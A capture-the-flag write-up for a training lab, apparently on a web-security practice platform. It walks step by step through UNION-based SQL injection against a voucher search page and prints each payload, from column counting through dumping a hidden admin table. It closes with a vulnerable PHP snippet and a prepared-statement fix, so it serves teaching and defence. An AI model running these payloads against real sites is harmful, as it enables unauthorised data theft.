Voucher Vault: Exploiting UNION-Based SQL Injection to Extract Hidden Admin Data
Platform: WebverseLabs Pro | Difficulty: Beginner–Intermediate | Category: Web Application Penetration Testing
Introduction
SQL Injection remains one of the most critical and prevalent web application vulnerabilities, consistently appearing in the OWASP Top 10. This writeup walks through exploiting a classic UNION-based SQL injection vulnerability in Voucher Vault — a challenge hosted on WebverseLabs Pro. The goal: find and extract a hidden administrative voucher from a rewards portal by exploiting unsafe user input concatenation in a search function.
Target Overview
Application: Redzone Rewards — an internal employee rewards portal
Vulnerable Endpoint: /search.php?q=
Vulnerability: UNION-based SQL Injection
Database: MariaDB
The challenge hint explicitly states:
"Redzone Rewards — an internal employee rewards portal — exposes a voucher search that concatenates user input straight into a SELECT. Find the hidden administrative voucher."
This immediately signals unsansitized input flowing directly into a SQL query — a textbook injection point.
Phase 1: Enumeration
Login and Reconnaissance
After authenticating to the portal, the application presents a standard dashboard with four navigation items: Dashboard, Search Vouchers, Redeem, and Profile. Based on the challenge hint, the focus is on the Search Vouchers function at /search.php.
The search UI states "Partial matches work" — a strong indicator that the backend query uses a LIKE clause with user input embedded directly:
SELECT * FROM vouchers WHERE code LIKE '%$input%'Identifying the Injection Point
Initial testing involves sending special characters to probe the backend behavior:
'(single quote) — tests for single-quote string delimiter breakout"(double quote) — tests for double-quote delimiter context`(backtick) — tests for identifier context injection
The application responded with 200 OK for all probes without crashing. However, sending a single quote triggered a behavioral change — confirming that the backend query uses ' as the string delimiter and that the input is not parameterized.

Phase 2: Exploitation
Step 1 — Determine Column Count with ORDER BY
The first step in a UNION-based attack is determining how many columns the original query returns. The ORDER BY clause is used iteratively to find the boundary:
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' ORDER BY 4-- - ← error or change in behaviorThe query broke at ORDER BY 4, confirming the original SELECT returns 3 columns.

Step 2 — Identify Reflected Columns with UNION SELECT
With 3 columns confirmed, a UNION SELECT is crafted to identify which column positions are reflected in the HTML response:
' UNION SELECT 1,2,3-- -The response revealed which positional values (1, 2, 3) appeared in the output — identifying the columns that can be used to exfiltrate data. With the reflected positions confirmed, the database version is extracted:
' UNION SELECT version(),2,3-- -
Result: The backend is running MariaDB, confirmed from the version string in the response.
Step 3 — Extract the Database Name
' UNION SELECT database(),2,3-- -This returns the current database name, scoping the attack to the correct schema for subsequent information_schema queries.

Step 4 — Enumerate Tables
With the database name known, all tables are dumped from information_schema.tables:
' UNION SELECT table_name,2,3 FROM information_schema.tables-- -Among the standard application tables, one stands out immediately: admin_vouchers — a table not visible through the normal portal UI, confirming the hidden data the challenge hints at.


Step 5 — Enumerate Columns of admin_vouchers
Before extracting data, the column structure of admin_vouchers must be mapped:
' UNION SELECT column_name,2,3 FROM information_schema.columns
WHERE table_name = 'admin_vouchers'-- -Columns discovered:
idcodevalue

Step 6 — Extract the Hidden Admin Voucher
With the table and column names in hand, the final payload extracts the full contents of admin_vouchers:
' UNION SELECT id,code,value FROM admin_vouchers-- -Result: The hidden administrative voucher code and its value are returned directly in the search results — data that was never intended to be accessible through the application's normal flow.

Root Cause Analysis
The vulnerability stems from a single insecure coding pattern: string concatenation of user input into a SQL query. A vulnerable PHP implementation would look like:
// VULNERABLE — Never do this
$q = $_GET['q'];
$result = mysqli_query($conn, "SELECT image, title, code FROM vouchers WHERE code LIKE '%$q%'");Any character in $q is passed raw to the database engine. An attacker who injects ' UNION SELECT ...-- - manipulates the query structure entirely.
Secure Fix
The correct approach uses prepared statements with parameterized queries:
// SECURE
$stmt = $conn->prepare("SELECT image, title, code FROM vouchers WHERE code LIKE ?");
$search = "%".$q."%";
$stmt->bind_param("s", $search);
$stmt->execute();With parameterized queries, user input is always treated as data — never as SQL syntax — regardless of what characters it contains.